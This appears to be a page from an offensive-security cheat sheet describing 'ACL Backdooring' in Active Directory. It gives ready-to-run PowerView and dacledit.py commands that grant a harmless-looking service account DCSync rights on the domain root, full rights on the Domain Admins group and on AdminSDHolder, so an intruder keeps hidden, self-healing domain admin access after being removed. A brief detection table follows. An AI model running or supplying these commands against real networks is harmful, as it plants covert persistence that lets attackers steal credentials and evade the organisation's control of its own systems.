AD^:Active Directory

Attack #65 — ACL Backdooring (Persistence via DCSync ACE)

An attacker with DA can add hidden ACEs to domain objects to maintain persistent access. The most common pattern: grant a seemingly innocuous user DCSync…

advancedupdated 2026-08-10PowerShell

🟤 Attack #65 — ACL Backdooring (Persistence via DCSync ACE)


📖 How It Works

An attacker with DA can add hidden ACEs to domain objects to maintain persistent access. The most common pattern: grant a seemingly innocuous user DCSync rights on the domain root, or add GenericAll on the DA group, or backdoor AdminSDHolder (#26). Even after the DA account is revoked, the backdoor ACE allows re-escalation.


⚙️ Prerequisites

RequirementDetail
Domain AdminTo modify ACLs on domain objects

💻 Full Commands

# ── Grant DCSync to a low-priv user (persistence) ────────────────────────────
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
  -PrincipalIdentity svc_monitoring -Rights DCSync -Verbose
# svc_monitoring now has permanent DCSync — looks like a service account

# ── Grant GenericAll on DA group ──────────────────────────────────────────────
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
  -PrincipalIdentity svc_monitoring -Rights All

# ── BackdoorAdminSDHolder (Attack #26 — self-healing) ────────────────────────
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
  -PrincipalIdentity svc_monitoring -Rights All

# ── Verify ────────────────────────────────────────────────────────────────────
Get-ObjectAcl "DC=corp,DC=local" -ResolveGUIDs | Where-Object {
  $_.IdentityReference -match "svc_monitoring"
}
# ── Linux ─────────────────────────────────────────────────────────────────────
dacledit.py -action write -rights DCSync \
  -principal svc_monitoring -target-dn "DC=corp,DC=local" \
  corp.local/Administrator:'Password1' -dc-ip 10.10.10.10

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4662Security Log (DC)DACL write on domain root
5136Security Log (DC)nTSecurityDescriptor modified

🔗 Attack Chain Context

[ACL Backdooring] ──→ Persistent Privilege Re-Escalation via Hidden ACEs
         │
         ├──→ 🔗 DCSync ACE + AdminSDHolder = self-healing persistent access
         ├──→ 📋 Survives DA account revocation — the backdoor ACE remains
         └──→ 💀 Defeated by: regular ACL audits, baseline domain root DACL

✅ Attack #65 — ACL Backdooring complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.